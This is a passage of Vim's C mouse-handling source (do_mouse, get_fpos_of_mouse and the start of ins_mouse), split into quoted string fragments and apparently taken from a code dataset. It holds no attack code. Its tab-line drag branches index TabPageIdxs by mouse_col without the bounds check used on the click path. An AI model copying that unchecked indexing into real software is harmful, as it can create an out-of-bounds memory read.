ml_get(pos->lnum);\n if (*p_sel == 'e' && pos->col > 0)\n {\n\t--pos->col;\n\tpos->col -= (*mb_head_off)(line, line + pos->col);\n }\n cclass = get_mouse_class(line + pos->col);\n while (line[pos->col] != NUL)\n {\n\tcol = pos->col + (*mb_ptr2len)(line + pos->col);\n\tif (get_mouse_class(line + col) != cclass)\n\t{\n\t if (*p_sel == 'e')\n\t\tpos->col = col;\n\t break;\n\t}\n\tpos->col = col;\n }\n}", "#if defined(FEAT_GUI_MOTIF) || defined(FEAT_GUI_GTK) \\\n\t || defined(FEAT_GUI_MSWIN) \\\n\t || defined(FEAT_GUI_PHOTON) \\\n\t || defined(FEAT_TERM_POPUP_MENU)\n# define USE_POPUP_SETPOS\n# define NEED_VCOL2COL", "/*\n * Translate window coordinates to buffer position without any side effects\n */\n static int\nget_fpos_of_mouse(pos_T *mpos)\n{\n win_T\t*wp;\n int\t\trow = mouse_row;\n int\t\tcol = mouse_col;", " if (row < 0 || col < 0)\t\t// check if it makes sense\n\treturn IN_UNKNOWN;", " // find the window where the row is in\n wp = mouse_find_win(&row, &col, FAIL_POPUP);\n if (wp == NULL)\n\treturn IN_UNKNOWN;\n // winpos and height may change in win_enter()!\n if (row >= wp->w_height)\t// In (or below) status line\n\treturn IN_STATUS_LINE;\n if (col >= wp->w_width)\t// In vertical separator line\n\treturn IN_SEP_LINE;", " if (wp != curwin)\n\treturn IN_UNKNOWN;", " // compute the position in the buffer line from the posn on the screen\n if (mouse_comp_pos(curwin, &row, &col, &mpos->lnum, NULL))\n\treturn IN_STATUS_LINE; // past bottom", " mpos->col = vcol2col(wp, mpos->lnum, col);", " if (mpos->col > 0)\n\t--mpos->col;\n mpos->coladd = 0;\n return IN_BUFFER;\n}\n#endif", "/*\n * Do the appropriate action for the current mouse click in the current mode.\n * Not used for Command-line mode.\n *\n * Normal and Visual Mode:\n * event\t modi-\tposition visual\t change action\n *\t\t fier\tcursor\t\t\t window\n * left press\t -\tyes\t end\t\t yes\n * left press\t C\tyes\t end\t\t yes\t \"^]\" (2)\n * left press\t S\tyes\tend (popup: extend) yes\t \"*\" (2)\n * left drag\t -\tyes\tstart if moved\t no\n * left relse\t -\tyes\tstart if moved\t no\n * middle press\t -\tyes\t if not active\t no\t put register\n * middle press\t -\tyes\t if active\t no\t yank and put\n * right press\t -\tyes\tstart or extend\t yes\n * right press\t S\tyes\tno change\t yes\t \"#\" (2)\n * right drag\t -\tyes\textend\t\t no\n * right relse\t -\tyes\textend\t\t no\n *\n * Insert or Replace Mode:\n * event\t modi-\tposition visual\t change action\n *\t\t fier\tcursor\t\t\t window\n * left press\t -\tyes\t(cannot be active) yes\n * left press\t C\tyes\t(cannot be active) yes\t \"CTRL-O^]\" (2)\n * left press\t S\tyes\t(cannot be active) yes\t \"CTRL-O*\" (2)\n * left drag\t -\tyes\tstart or extend (1) no\t CTRL-O (1)\n * left relse\t -\tyes\tstart or extend (1) no\t CTRL-O (1)\n * middle press\t -\tno\t(cannot be active) no\t put register\n * right press\t -\tyes\tstart or extend\t yes\t CTRL-O\n * right press\t S\tyes\t(cannot be active) yes\t \"CTRL-O#\" (2)\n *\n * (1) only if mouse pointer moved since press\n * (2) only if click is in same buffer\n *\n * Return TRUE if start_arrow() should be called for edit mode.\n */\n int\ndo_mouse(\n oparg_T\t*oap,\t\t// operator argument, can be NULL\n int\t\tc,\t\t// K_LEFTMOUSE, etc\n int\t\tdir,\t\t// Direction to 'put' if necessary\n long\tcount,\n int\t\tfixindent)\t// PUT_FIXINDENT if fixing indent necessary\n{\n static int\tdo_always = FALSE;\t// ignore 'mouse' setting next time\n static int\tgot_click = FALSE;\t// got a click some time back", " int\t\twhich_button;\t// MOUSE_LEFT, _MIDDLE or _RIGHT\n int\t\tis_click = FALSE; // If FALSE it's a drag or release event\n int\t\tis_drag = FALSE; // If TRUE it's a drag event\n int\t\tjump_flags = 0;\t// flags for jump_to_mouse()\n pos_T\tstart_visual;\n int\t\tmoved;\t\t// Has cursor moved?\n int\t\tin_status_line;\t// mouse in status line\n static int\tin_tab_line = FALSE; // mouse clicked in tab line\n int\t\tin_sep_line;\t// mouse in vertical separator line\n int\t\tc1, c2;\n#if defined(FEAT_FOLDING)\n pos_T\tsave_cursor;\n#endif\n win_T\t*old_curwin = curwin;\n static pos_T orig_cursor;\n colnr_T\tleftcol, rightcol;\n pos_T\tend_visual;\n int\t\tdiff;\n int\t\told_active = VIsual_active;\n int\t\told_mode = VIsual_mode;\n int\t\tregname;", "#if defined(FEAT_FOLDING)\n save_cursor = curwin->w_cursor;\n#endif", " // When GUI is active, always recognize mouse events, otherwise:\n // - Ignore mouse event in normal mode if 'mouse' doesn't include 'n'.\n // - Ignore mouse event in visual mode if 'mouse' doesn't include 'v'.\n // - For command line and insert mode 'mouse' is checked before calling\n //\t do_mouse().\n if (do_always)\n\tdo_always = FALSE;\n else\n#ifdef FEAT_GUI\n\tif (!gui.in_use)\n#endif\n\t{\n\t if (VIsual_active)\n\t {\n\t\tif (!mouse_has(MOUSE_VISUAL))\n\t\t return FALSE;\n\t }\n\t else if (State == MODE_NORMAL && !mouse_has(MOUSE_NORMAL))\n\t\treturn FALSE;\n\t}", " for (;;)\n {\n\twhich_button = get_mouse_button(KEY2TERMCAP1(c), &is_click, &is_drag);\n\tif (is_drag)\n\t{\n\t // If the next character is the same mouse event then use that\n\t // one. Speeds up dragging the status line.\n\t // Note: Since characters added to the stuff buffer in the code\n\t // below need to come before the next character, do not do this\n\t // when the current character was stuffed.\n\t if (!KeyStuffed && vpeekc() != NUL)\n\t {\n\t\tint nc;\n\t\tint save_mouse_row = mouse_row;\n\t\tint save_mouse_col = mouse_col;", "\t\t// Need to get the character, peeking doesn't get the actual\n\t\t// one.\n\t\tnc = safe_vgetc();\n\t\tif (c == nc)\n\t\t continue;\n\t\tvungetc(nc);\n\t\tmouse_row = save_mouse_row;\n\t\tmouse_col = save_mouse_col;\n\t }\n\t}\n\tbreak;\n }", " if (c == K_MOUSEMOVE)\n {\n\t// Mouse moved without a button pressed.\n#ifdef FEAT_BEVAL_TERM\n\tui_may_remove_balloon();\n\tif (p_bevalterm)\n\t{\n\t profile_setlimit(p_bdlay, &bevalexpr_due);\n\t bevalexpr_due_set = TRUE;\n\t}\n#endif\n#ifdef FEAT_PROP_POPUP\n\tpopup_handle_mouse_moved();\n#endif\n\treturn FALSE;\n }", "#ifdef FEAT_MOUSESHAPE\n // May have stopped dragging the status or separator line. The pointer is\n // most likely still on the status or separator line.\n if (!is_drag && drag_status_line)\n {\n\tdrag_status_line = FALSE;\n\tupdate_mouseshape(SHAPE_IDX_STATUS);\n }\n if (!is_drag && drag_sep_line)\n {\n\tdrag_sep_line = FALSE;\n\tupdate_mouseshape(SHAPE_IDX_VSEP);\n }\n#endif", " // Ignore drag and release events if we didn't get a click.\n if (is_click)\n\tgot_click = TRUE;\n else\n {\n\tif (!got_click)\t\t\t// didn't get click, ignore\n\t return FALSE;\n\tif (!is_drag)\t\t\t// release, reset got_click\n\t{\n\t got_click = FALSE;\n\t if (in_tab_line)\n\t {\n\t\tin_tab_line = FALSE;\n\t\treturn FALSE;\n\t }\n\t}\n }", " // CTRL right mouse button does CTRL-T\n if (is_click && (mod_mask & MOD_MASK_CTRL) && which_button == MOUSE_RIGHT)\n {\n\tif (State & MODE_INSERT)\n\t stuffcharReadbuff(Ctrl_O);\n\tif (count > 1)\n\t stuffnumReadbuff(count);\n\tstuffcharReadbuff(Ctrl_T);\n\tgot_click = FALSE;\t\t// ignore drag&release now\n\treturn FALSE;\n }", " // CTRL only works with left mouse button\n if ((mod_mask & MOD_MASK_CTRL) && which_button != MOUSE_LEFT)\n\treturn FALSE;", " // When a modifier is down, ignore drag and release events, as well as\n // multiple clicks and the middle mouse button.\n // Accept shift-leftmouse drags when 'mousemodel' is \"popup.*\".\n if ((mod_mask & (MOD_MASK_SHIFT | MOD_MASK_CTRL | MOD_MASK_ALT\n\t\t\t\t\t\t\t | MOD_MASK_META))\n\t && (!is_click\n\t\t|| (mod_mask & MOD_MASK_MULTI_CLICK)\n\t\t|| which_button == MOUSE_MIDDLE)\n\t && !((mod_mask & (MOD_MASK_SHIFT|MOD_MASK_ALT))\n\t\t&& mouse_model_popup()\n\t\t&& which_button == MOUSE_LEFT)\n\t && !((mod_mask & MOD_MASK_ALT)\n\t\t&& !mouse_model_popup()\n\t\t&& which_button == MOUSE_RIGHT)\n\t )\n\treturn FALSE;", " // If the button press was used as the movement command for an operator\n // (eg \"d<MOUSE>\"), or it is the middle button that is held down, ignore\n // drag/release events.\n if (!is_click && which_button == MOUSE_MIDDLE)\n\treturn FALSE;", " if (oap != NULL)\n\tregname = oap->regname;\n else\n\tregname = 0;", " // Middle mouse button does a 'put' of the selected text\n if (which_button == MOUSE_MIDDLE)\n {\n\tif (State == MODE_NORMAL)\n\t{\n\t // If an operator was pending, we don't know what the user wanted\n\t // to do. Go back to normal mode: Clear the operator and beep().\n\t if (oap != NULL && oap->op_type != OP_NOP)\n\t {\n\t\tclearopbeep(oap);\n\t\treturn FALSE;\n\t }", "\t // If visual was active, yank the highlighted text and put it\n\t // before the mouse pointer position.\n\t // In Select mode replace the highlighted text with the clipboard.\n\t if (VIsual_active)\n\t {\n\t\tif (VIsual_select)\n\t\t{\n\t\t stuffcharReadbuff(Ctrl_G);\n\t\t stuffReadbuff((char_u *)\"\\\"+p\");\n\t\t}\n\t\telse\n\t\t{\n\t\t stuffcharReadbuff('y');\n\t\t stuffcharReadbuff(K_MIDDLEMOUSE);\n\t\t}\n\t\tdo_always = TRUE;\t// ignore 'mouse' setting next time\n\t\treturn FALSE;\n\t }\n\t // The rest is below jump_to_mouse()\n\t}", "\telse if ((State & MODE_INSERT) == 0)\n\t return FALSE;", "\t// Middle click in insert mode doesn't move the mouse, just insert the\n\t// contents of a register. '.' register is special, can't insert that\n\t// with do_put().\n\t// Also paste at the cursor if the current mode isn't in 'mouse' (only\n\t// happens for the GUI).\n\tif ((State & MODE_INSERT) || !mouse_has(MOUSE_NORMAL))\n\t{\n\t if (regname == '.')\n\t\tinsert_reg(regname, TRUE);\n\t else\n\t {\n#ifdef FEAT_CLIPBOARD\n\t\tif (clip_star.available && regname == 0)\n\t\t regname = '*';\n#endif\n\t\tif ((State & REPLACE_FLAG) && !yank_register_mline(regname))\n\t\t insert_reg(regname, TRUE);\n\t\telse\n\t\t{\n\t\t do_put(regname, NULL, BACKWARD, 1L,\n\t\t\t\t\t\t fixindent | PUT_CURSEND);", "\t\t // Repeat it with CTRL-R CTRL-O r or CTRL-R CTRL-P r\n\t\t AppendCharToRedobuff(Ctrl_R);\n\t\t AppendCharToRedobuff(fixindent ? Ctrl_P : Ctrl_O);\n\t\t AppendCharToRedobuff(regname == 0 ? '\"' : regname);\n\t\t}\n\t }\n\t return FALSE;\n\t}\n }", " // When dragging or button-up stay in the same window.\n if (!is_click)\n\tjump_flags |= MOUSE_FOCUS | MOUSE_DID_MOVE;", " start_visual.lnum = 0;\n", " // Check for clicking in the tab page line.\n if (mouse_row == 0 && firstwin->w_winrow > 0)\n {\n\tif (is_drag)\n\t{\n\t if (in_tab_line)\n\t {", "\t\tc1 = TabPageIdxs[mouse_col];", "\t\ttabpage_move(c1 <= 0 ? 9999 : c1 < tabpage_index(curtab)\n\t\t\t\t\t\t\t\t? c1 - 1 : c1);\n\t }\n\t return FALSE;\n\t}", "\t// click in a tab selects that tab page\n\tif (is_click\n# ifdef FEAT_CMDWIN\n\t\t&& cmdwin_type == 0\n# endif\n\t\t&& mouse_col < Columns)\n\t{\n\t in_tab_line = TRUE;\n\t c1 = TabPageIdxs[mouse_col];\n\t if (c1 >= 0)\n\t {\n\t\tif ((mod_mask & MOD_MASK_MULTI_CLICK) == MOD_MASK_2CLICK)", "\t\t{", "\t\t // double click opens new page\n\t\t end_visual_mode_keep_button();\n\t\t tabpage_new();\n\t\t tabpage_move(c1 == 0 ? 9999 : c1 - 1);", "\t\t}\n\t\telse\n\t\t{", "\t\t // Go to specified tab page, or next one if not clicking\n\t\t // on a label.\n\t\t goto_tabpage(c1);", "\t\t // It's like clicking on the status line of a window.\n\t\t if (curwin != old_curwin)\n\t\t\tend_visual_mode_keep_button();", "\t\t}\n\t }", "\t else\n\t {\n\t\ttabpage_T\t*tp;", "\t\t// Close the current or specified tab page.\n\t\tif (c1 == -999)\n\t\t tp = curtab;\n\t\telse\n\t\t tp = find_tabpage(-c1);\n\t\tif (tp == curtab)\n\t\t{\n\t\t if (first_tabpage->tp_next != NULL)\n\t\t\ttabpage_close(FALSE);\n\t\t}\n\t\telse if (tp != NULL)\n\t\t tabpage_close_other(tp, FALSE);\n\t }\n\t}\n\treturn TRUE;\n }\n else if (is_drag && in_tab_line)\n {\n\tc1 = TabPageIdxs[mouse_col];\n\ttabpage_move(c1 <= 0 ? 9999 : c1 - 1);\n\treturn FALSE;", " }", " // When 'mousemodel' is \"popup\" or \"popup_setpos\", translate mouse events:\n // right button up -> pop-up menu\n // shift-left button -> right button\n // alt-left button -> alt-right button\n if (mouse_model_popup())\n {\n\tif (which_button == MOUSE_RIGHT\n\t\t\t && !(mod_mask & (MOD_MASK_SHIFT | MOD_MASK_CTRL)))\n\t{\n#ifdef USE_POPUP_SETPOS\n# ifdef FEAT_GUI\n\t if (gui.in_use)\n\t {\n# if defined(FEAT_GUI_MOTIF) || defined(FEAT_GUI_GTK) \\\n\t\t\t || defined(FEAT_GUI_PHOTON)\n\t\tif (!is_click)\n\t\t // Ignore right button release events, only shows the popup\n\t\t // menu on the button down event.\n\t\t return FALSE;\n# endif\n# if defined(FEAT_GUI_MSWIN) || defined(FEAT_GUI_HAIKU)\n\t\tif (is_click || is_drag)\n\t\t // Ignore right button down and drag mouse events. Windows\n\t\t // only shows the popup menu on the button up event.\n\t\t return FALSE;\n# endif\n\t }\n# endif\n# if defined(FEAT_GUI) && defined(FEAT_TERM_POPUP_MENU)\n\t else\n# endif\n# if defined(FEAT_TERM_POPUP_MENU)\n\t if (!is_click)\n\t\t// Ignore right button release events, only shows the popup\n\t\t// menu on the button down event.\n\t\treturn FALSE;\n#endif", "\t jump_flags = 0;\n\t if (STRCMP(p_mousem, \"popup_setpos\") == 0)\n\t {\n\t\t// First set the cursor position before showing the popup\n\t\t// menu.\n\t\tif (VIsual_active)\n\t\t{\n\t\t pos_T m_pos;", "\t\t // set MOUSE_MAY_STOP_VIS if we are outside the\n\t\t // selection or the current window (might have false\n\t\t // negative here)\n\t\t if (mouse_row < curwin->w_winrow\n\t\t\t || mouse_row\n\t\t\t\t > (curwin->w_winrow + curwin->w_height))\n\t\t\tjump_flags = MOUSE_MAY_STOP_VIS;\n\t\t else if (get_fpos_of_mouse(&m_pos) != IN_BUFFER)\n\t\t\tjump_flags = MOUSE_MAY_STOP_VIS;\n\t\t else\n\t\t {\n\t\t\tif ((LT_POS(curwin->w_cursor, VIsual)\n\t\t\t\t && (LT_POS(m_pos, curwin->w_cursor)\n\t\t\t\t\t|| LT_POS(VIsual, m_pos)))\n\t\t\t\t|| (LT_POS(VIsual, curwin->w_cursor)\n\t\t\t\t && (LT_POS(m_pos, VIsual)\n\t\t\t\t || LT_POS(curwin->w_cursor, m_pos))))\n\t\t\t{\n\t\t\t jump_flags = MOUSE_MAY_STOP_VIS;\n\t\t\t}\n\t\t\telse if (VIsual_mode == Ctrl_V)\n\t\t\t{\n\t\t\t getvcols(curwin, &curwin->w_cursor, &VIsual,\n\t\t\t\t\t\t &leftcol, &rightcol);\n\t\t\t getvcol(curwin, &m_pos, NULL, &m_pos.col, NULL);\n\t\t\t if (m_pos.col < leftcol || m_pos.col > rightcol)\n\t\t\t\tjump_flags = MOUSE_MAY_STOP_VIS;\n\t\t\t}\n\t\t }\n\t\t}\n\t\telse\n\t\t jump_flags = MOUSE_MAY_STOP_VIS;\n\t }\n\t if (jump_flags)\n\t {\n\t\tjump_flags = jump_to_mouse(jump_flags, NULL, which_button);\n\t\tupdate_curbuf(VIsual_active ? UPD_INVERTED : UPD_VALID);\n\t\tsetcursor();\n\t\tout_flush(); // Update before showing popup menu\n\t }\n# ifdef FEAT_MENU\n\t show_popupmenu();\n\t got_click = FALSE;\t// ignore release events\n# endif\n\t return (jump_flags & CURSOR_MOVED) != 0;\n#else\n\t return FALSE;\n#endif\n\t}\n\tif (which_button == MOUSE_LEFT\n\t\t\t\t&& (mod_mask & (MOD_MASK_SHIFT|MOD_MASK_ALT)))\n\t{\n\t which_button = MOUSE_RIGHT;\n\t mod_mask &= ~MOD_MASK_SHIFT;\n\t}\n }", " if ((State & (MODE_NORMAL | MODE_INSERT))\n\t\t\t && !(mod_mask & (MOD_MASK_SHIFT | MOD_MASK_CTRL)))\n {\n\tif (which_button == MOUSE_LEFT)\n\t{\n\t if (is_click)\n\t {\n\t\t// stop Visual mode for a left click in a window, but not when\n\t\t// on a status line\n\t\tif (VIsual_active)\n\t\t jump_flags |= MOUSE_MAY_STOP_VIS;\n\t }\n\t else if (mouse_has(MOUSE_VISUAL))\n\t\tjump_flags |= MOUSE_MAY_VIS;\n\t}\n\telse if (which_button == MOUSE_RIGHT)\n\t{\n\t if (is_click && VIsual_active)\n\t {\n\t\t// Remember the start and end of visual before moving the\n\t\t// cursor.\n\t\tif (LT_POS(curwin->w_cursor, VIsual))\n\t\t{\n\t\t start_visual = curwin->w_cursor;\n\t\t end_visual = VIsual;\n\t\t}\n\t\telse\n\t\t{\n\t\t start_visual = VIsual;\n\t\t end_visual = curwin->w_cursor;\n\t\t}\n\t }\n\t jump_flags |= MOUSE_FOCUS;\n\t if (mouse_has(MOUSE_VISUAL))\n\t\tjump_flags |= MOUSE_MAY_VIS;\n\t}\n }", " // If an operator is pending, ignore all drags and releases until the\n // next mouse click.\n if (!is_drag && oap != NULL && oap->op_type != OP_NOP)\n {\n\tgot_click = FALSE;\n\toap->motion_type = MCHAR;\n }", " // When releasing the button let jump_to_mouse() know.\n if (!is_click && !is_drag)\n\tjump_flags |= MOUSE_RELEASED;", " // JUMP!\n jump_flags = jump_to_mouse(jump_flags,\n\t\t\toap == NULL ? NULL : &(oap->inclusive), which_button);", "#ifdef FEAT_MENU\n // A click in the window toolbar has no side effects.\n if (jump_flags & MOUSE_WINBAR)\n\treturn FALSE;\n#endif\n moved = (jump_flags & CURSOR_MOVED);\n in_status_line = (jump_flags & IN_STATUS_LINE);\n in_sep_line = (jump_flags & IN_SEP_LINE);", "#ifdef FEAT_NETBEANS_INTG\n if (isNetbeansBuffer(curbuf)\n\t\t\t && !(jump_flags & (IN_STATUS_LINE | IN_SEP_LINE)))\n {\n\tint key = KEY2TERMCAP1(c);", "\tif (key == (int)KE_LEFTRELEASE || key == (int)KE_MIDDLERELEASE\n\t\t\t\t\t || key == (int)KE_RIGHTRELEASE)\n\t netbeans_button_release(which_button);\n }\n#endif", " // When jumping to another window, clear a pending operator. That's a bit\n // friendlier than beeping and not jumping to that window.\n if (curwin != old_curwin && oap != NULL && oap->op_type != OP_NOP)\n\tclearop(oap);", "#ifdef FEAT_FOLDING\n if (mod_mask == 0\n\t && !is_drag\n\t && (jump_flags & (MOUSE_FOLD_CLOSE | MOUSE_FOLD_OPEN))\n\t && which_button == MOUSE_LEFT)\n {\n\t// open or close a fold at this line\n\tif (jump_flags & MOUSE_FOLD_OPEN)\n\t openFold(curwin->w_cursor.lnum, 1L);\n\telse\n\t closeFold(curwin->w_cursor.lnum, 1L);\n\t// don't move the cursor if still in the same window\n\tif (curwin == old_curwin)\n\t curwin->w_cursor = save_cursor;\n }\n#endif", "#if defined(FEAT_CLIPBOARD) && defined(FEAT_CMDWIN)\n if ((jump_flags & IN_OTHER_WIN) && !VIsual_active && clip_star.available)\n {\n\tclip_modeless(which_button, is_click, is_drag);\n\treturn FALSE;\n }\n#endif", " // Set global flag that we are extending the Visual area with mouse\n // dragging; temporarily minimize 'scrolloff'.\n if (VIsual_active && is_drag && get_scrolloff_value())\n {\n\t// In the very first line, allow scrolling one line\n\tif (mouse_row == 0)\n\t mouse_dragging = 2;\n\telse\n\t mouse_dragging = 1;\n }", " // When dragging the mouse above the window, scroll down.\n if (is_drag && mouse_row < 0 && !in_status_line)\n {\n\tscroll_redraw(FALSE, 1L);\n\tmouse_row = 0;\n }", " if (start_visual.lnum)\t\t// right click in visual mode\n {\n // When ALT is pressed make Visual mode blockwise.\n if (mod_mask & MOD_MASK_ALT)\n\t VIsual_mode = Ctrl_V;", "\t// In Visual-block mode, divide the area in four, pick up the corner\n\t// that is in the quarter that the cursor is in.\n\tif (VIsual_mode == Ctrl_V)\n\t{\n\t getvcols(curwin, &start_visual, &end_visual, &leftcol, &rightcol);\n\t if (curwin->w_curswant > (leftcol + rightcol) / 2)\n\t\tend_visual.col = leftcol;\n\t else\n\t\tend_visual.col = rightcol;\n\t if (curwin->w_cursor.lnum >=\n\t\t\t\t (start_visual.lnum + end_visual.lnum) / 2)\n\t\tend_visual.lnum = start_visual.lnum;", "\t // move VIsual to the right column\n\t start_visual = curwin->w_cursor;\t // save the cursor pos\n\t curwin->w_cursor = end_visual;\n\t coladvance(end_visual.col);\n\t VIsual = curwin->w_cursor;\n\t curwin->w_cursor = start_visual;\t // restore the cursor\n\t}\n\telse\n\t{\n\t // If the click is before the start of visual, change the start.\n\t // If the click is after the end of visual, change the end. If\n\t // the click is inside the visual, change the closest side.\n\t if (LT_POS(curwin->w_cursor, start_visual))\n\t\tVIsual = end_visual;\n\t else if (LT_POS(end_visual, curwin->w_cursor))\n\t\tVIsual = start_visual;\n\t else\n\t {\n\t\t// In the same line, compare column number\n\t\tif (end_visual.lnum == start_visual.lnum)\n\t\t{\n\t\t if (curwin->w_cursor.col - start_visual.col >\n\t\t\t\t end_visual.col - curwin->w_cursor.col)\n\t\t\tVIsual = start_visual;\n\t\t else\n\t\t\tVIsual = end_visual;\n\t\t}", "\t\t// In different lines, compare line number\n\t\telse\n\t\t{\n\t\t diff = (curwin->w_cursor.lnum - start_visual.lnum) -\n\t\t\t\t(end_visual.lnum - curwin->w_cursor.lnum);", "\t\t if (diff > 0)\t\t// closest to end\n\t\t\tVIsual = start_visual;\n\t\t else if (diff < 0)\t// closest to start\n\t\t\tVIsual = end_visual;\n\t\t else\t\t\t// in the middle line\n\t\t {\n\t\t\tif (curwin->w_cursor.col <\n\t\t\t\t\t(start_visual.col + end_visual.col) / 2)\n\t\t\t VIsual = end_visual;\n\t\t\telse\n\t\t\t VIsual = start_visual;\n\t\t }\n\t\t}\n\t }\n\t}\n }\n // If Visual mode started in insert mode, execute \"CTRL-O\"\n else if ((State & MODE_INSERT) && VIsual_active)\n\tstuffcharReadbuff(Ctrl_O);", " // Middle mouse click: Put text before cursor.\n if (which_button == MOUSE_MIDDLE)\n {\n#ifdef FEAT_CLIPBOARD\n\tif (clip_star.available && regname == 0)\n\t regname = '*';\n#endif\n\tif (yank_register_mline(regname))\n\t{\n\t if (mouse_past_bottom)\n\t\tdir = FORWARD;\n\t}\n\telse if (mouse_past_eol)\n\t dir = FORWARD;", "\tif (fixindent)\n\t{\n\t c1 = (dir == BACKWARD) ? '[' : ']';\n\t c2 = 'p';\n\t}\n\telse\n\t{\n\t c1 = (dir == FORWARD) ? 'p' : 'P';\n\t c2 = NUL;\n\t}\n\tprep_redo(regname, count, NUL, c1, NUL, c2, NUL);", "\t// Remember where the paste started, so in edit() Insstart can be set\n\t// to this position\n\tif (restart_edit != 0)\n\t where_paste_started = curwin->w_cursor;\n\tdo_put(regname, NULL, dir, count, fixindent | PUT_CURSEND);\n }", "#if defined(FEAT_QUICKFIX)\n // Ctrl-Mouse click or double click in a quickfix window jumps to the\n // error under the mouse pointer.\n else if (((mod_mask & MOD_MASK_CTRL)\n\t\t|| (mod_mask & MOD_MASK_MULTI_CLICK) == MOD_MASK_2CLICK)\n\t && bt_quickfix(curbuf))\n {\n\tif (curwin->w_llist_ref == NULL)\t// quickfix window\n\t do_cmdline_cmd((char_u *)\".cc\");\n\telse\t\t\t\t\t// location list window\n\t do_cmdline_cmd((char_u *)\".ll\");\n\tgot_click = FALSE;\t\t// ignore drag&release now\n }\n#endif", " // Ctrl-Mouse click (or double click in a help window) jumps to the tag\n // under the mouse pointer.\n else if ((mod_mask & MOD_MASK_CTRL) || (curbuf->b_help\n\t\t && (mod_mask & MOD_MASK_MULTI_CLICK) == MOD_MASK_2CLICK))\n {\n\tif (State & MODE_INSERT)\n\t stuffcharReadbuff(Ctrl_O);\n\tstuffcharReadbuff(Ctrl_RSB);\n\tgot_click = FALSE;\t\t// ignore drag&release now\n }", " // Shift-Mouse click searches for the next occurrence of the word under\n // the mouse pointer\n else if ((mod_mask & MOD_MASK_SHIFT))\n {\n\tif ((State & MODE_INSERT) || (VIsual_active && VIsual_select))\n\t stuffcharReadbuff(Ctrl_O);\n\tif (which_button == MOUSE_LEFT)\n\t stuffcharReadbuff('*');\n\telse\t// MOUSE_RIGHT\n\t stuffcharReadbuff('#');\n }", " // Handle double clicks, unless on status line\n else if (in_status_line)\n {\n#ifdef FEAT_MOUSESHAPE\n\tif ((is_drag || is_click) && !drag_status_line)\n\t{\n\t drag_status_line = TRUE;\n\t update_mouseshape(-1);\n\t}\n#endif\n }\n else if (in_sep_line)\n {\n#ifdef FEAT_MOUSESHAPE\n\tif ((is_drag || is_click) && !drag_sep_line)\n\t{\n\t drag_sep_line = TRUE;\n\t update_mouseshape(-1);\n\t}\n#endif\n }\n else if ((mod_mask & MOD_MASK_MULTI_CLICK)\n\t\t\t\t && (State & (MODE_NORMAL | MODE_INSERT))\n\t && mouse_has(MOUSE_VISUAL))\n {\n\tif (is_click || !VIsual_active)\n\t{\n\t if (VIsual_active)\n\t\torig_cursor = VIsual;\n\t else\n\t {\n\t\tcheck_visual_highlight();\n\t\tVIsual = curwin->w_cursor;\n\t\torig_cursor = VIsual;\n\t\tVIsual_active = TRUE;\n\t\tVIsual_reselect = TRUE;\n\t\t// start Select mode if 'selectmode' contains \"mouse\"\n\t\tmay_start_select('o');\n\t\tsetmouse();\n\t }\n\t if ((mod_mask & MOD_MASK_MULTI_CLICK) == MOD_MASK_2CLICK)\n\t {\n\t\t// Double click with ALT pressed makes it blockwise.\n\t\tif (mod_mask & MOD_MASK_ALT)\n\t\t VIsual_mode = Ctrl_V;\n\t\telse\n\t\t VIsual_mode = 'v';\n\t }\n\t else if ((mod_mask & MOD_MASK_MULTI_CLICK) == MOD_MASK_3CLICK)\n\t\tVIsual_mode = 'V';\n\t else if ((mod_mask & MOD_MASK_MULTI_CLICK) == MOD_MASK_4CLICK)\n\t\tVIsual_mode = Ctrl_V;\n#ifdef FEAT_CLIPBOARD\n\t // Make sure the clipboard gets updated. Needed because start and\n\t // end may still be the same, and the selection needs to be owned\n\t clip_star.vmode = NUL;\n#endif\n\t}\n\t// A double click selects a word or a block.\n\tif ((mod_mask & MOD_MASK_MULTI_CLICK) == MOD_MASK_2CLICK)\n\t{\n\t pos_T\t*pos = NULL;\n\t int\t\tgc;", "\t if (is_click)\n\t {\n\t\t// If the character under the cursor (skipping white space) is\n\t\t// not a word character, try finding a match and select a (),\n\t\t// {}, [], #if/#endif, etc. block.\n\t\tend_visual = curwin->w_cursor;\n\t\twhile (gc = gchar_pos(&end_visual), VIM_ISWHITE(gc))\n\t\t inc(&end_visual);\n\t\tif (oap != NULL)\n\t\t oap->motion_type = MCHAR;\n\t\tif (oap != NULL\n\t\t\t&& VIsual_mode == 'v'\n\t\t\t&& !vim_iswordc(gchar_pos(&end_visual))\n\t\t\t&& EQUAL_POS(curwin->w_cursor, VIsual)\n\t\t\t&& (pos = findmatch(oap, NUL)) != NULL)\n\t\t{\n\t\t curwin->w_cursor = *pos;\n\t\t if (oap->motion_type == MLINE)\n\t\t\tVIsual_mode = 'V';\n\t\t else if (*p_sel == 'e')\n\t\t {\n\t\t\tif (LT_POS(curwin->w_cursor, VIsual))\n\t\t\t ++VIsual.col;\n\t\t\telse\n\t\t\t ++curwin->w_cursor.col;\n\t\t }\n\t\t}\n\t }", "\t if (pos == NULL && (is_click || is_drag))\n\t {\n\t\t// When not found a match or when dragging: extend to include\n\t\t// a word.\n\t\tif (LT_POS(curwin->w_cursor, orig_cursor))\n\t\t{\n\t\t find_start_of_word(&curwin->w_cursor);\n\t\t find_end_of_word(&VIsual);\n\t\t}\n\t\telse\n\t\t{\n\t\t find_start_of_word(&VIsual);\n\t\t if (*p_sel == 'e' && *ml_get_cursor() != NUL)\n\t\t\tcurwin->w_cursor.col +=\n\t\t\t\t\t (*mb_ptr2len)(ml_get_cursor());\n\t\t find_end_of_word(&curwin->w_cursor);\n\t\t}\n\t }\n\t curwin->w_set_curswant = TRUE;\n\t}\n\tif (is_click)\n\t redraw_curbuf_later(UPD_INVERTED);\t// update the inversion\n }\n else if (VIsual_active && !old_active)\n {\n\tif (mod_mask & MOD_MASK_ALT)\n\t VIsual_mode = Ctrl_V;\n\telse\n\t VIsual_mode = 'v';\n }", " // If Visual mode changed show it later.\n if ((!VIsual_active && old_active && mode_displayed)\n\t || (VIsual_active && p_smd && msg_silent == 0\n\t\t\t\t && (!old_active || VIsual_mode != old_mode)))\n\tredraw_cmdline = TRUE;", " return moved;\n}", " void\nins_mouse(int c)\n{\n pos_T\ttpos;\n win_T\t*old_curwin = curwin;", "# ifdef FEAT_GUI\n // When GUI is active, also move/paste when 'mouse' is empty\n if (!gui.in_use)\n# endif\n\tif (!mouse_has(MOUSE_INSERT))\n\t return;", " undisplay_dollar();\n tpos = curwin->w_cursor;\n if (do_mouse(NULL, c, BACKWARD, 1L, 0))\n {\n\twin_T\t*new_curwin = curwin;", "\tif (curwin != old_curwin && win_valid(old_curwin))\n\t{\n\t // Mouse took us to another window. We need to go back to 